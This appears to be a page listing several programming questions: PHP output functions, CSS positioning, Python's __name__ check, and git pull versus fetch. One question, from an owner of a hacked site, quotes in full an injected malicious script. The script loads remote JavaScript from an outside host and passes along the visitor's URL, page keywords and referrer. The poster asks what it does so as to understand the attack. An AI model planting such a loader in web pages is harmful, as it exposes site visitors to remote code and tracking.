All Questions

It is clear that the functions?

• echo
• print
• print_r
• var_dumpY
• var_export

they are used almost interchangeably to print content to the screen.

The objective of this question is to have a good answer that serves as a reference to understand the possible differences between each of them... if there are differences.

I know that these CSS properties are used to position an element within the page.

However, when should you use each of them?

It is common to find code with this form:

def hacer_algo():
    print("algo")

if __name__ == "__main__":
    hacer_algo()

Instead of, for example:

def hacer_algo():
    print("algo")

hacer_algo()

We also notice that the variable __name__is not initialized by us, but exists in the environment.

• What is the difference?
• Why prefer one over the other?
• What is it and how it works?

Recently my site was hacked, the attackers managed to upload a webshell to the site, however everything has been controlled and the site is safe again.

Now eset nod32 detected a trojan for me fakejquery, investigating a little I could see that the following script has been inserted in the header of the page:

<script>
    var a = '';
    setTimeout(1);

    function setCookie(a, b, c) {
        var d = new Date;
        d.setTime(d.getTime() + 60 * c * 60 * 1e3);
        var e = "expires=" + d.toUTCString();
        document.cookie = a + "=" + b + "; " + e
    }

    function getCookie(a) {
        for (var b = a + "=", c = document.cookie.split(";"), d = 0; d < c
            .length; d++) {
            for (var e = c[d];
                " " == e.charAt(0);) e = e.substring(1);
            if (0 == e.indexOf(b)) return e.substring(b.length, e.length)
        }
        return null
    }
    null == getCookie("__cfgoid") && (setCookie("__cfgoid", 1, 1), 1 ==
        getCookie("__cfgoid") && (setCookie("__cfgoid", 2, 1), document.write(
            '<script type="text/javascript" src="' +
            'http://crazytime.home.pl/js/jquery.min.php' + '?key=b64' +
            '&utm_campaign=' + 'I92930' + '&utm_source=' + window.location.host +
            '&utm_medium=' + '&utm_content=' + window.location +
            '&utm_term=' + encodeURIComponent(
                ((k = (function() {
                        var keywords = '';
                        var metas = document.getElementsByTagName('meta');
                        if (metas) {
                            for (var x = 0, y = metas.length; x < y; x++) {
                                if (metas[x].name.toLowerCase() == "keywords") {
                                    keywords += metas[x].content;
                                }
                            }
                        }
                        return keywords !== '' ? keywords : null;
                    })()) == null ? (v = window.location.search.match(
                        /utm_term=([^&]+)/)) == null ? (t = document.title) == null ?
                    '' : t : v[1] : k)) + '&se_referrer=' + encodeURIComponent(
                document.referrer) + '"><' + '/script>')));
</script>

From what I understand the above script is generating traffic to an external site.

I've already removed all this code from the site, but I'm left wondering what this code actually does.

My question is: Am I correct in thinking that traffic is being generated to an external site, or does the code shared above do something additional?

What specifically are the differences between making a git pulland making a git fetch?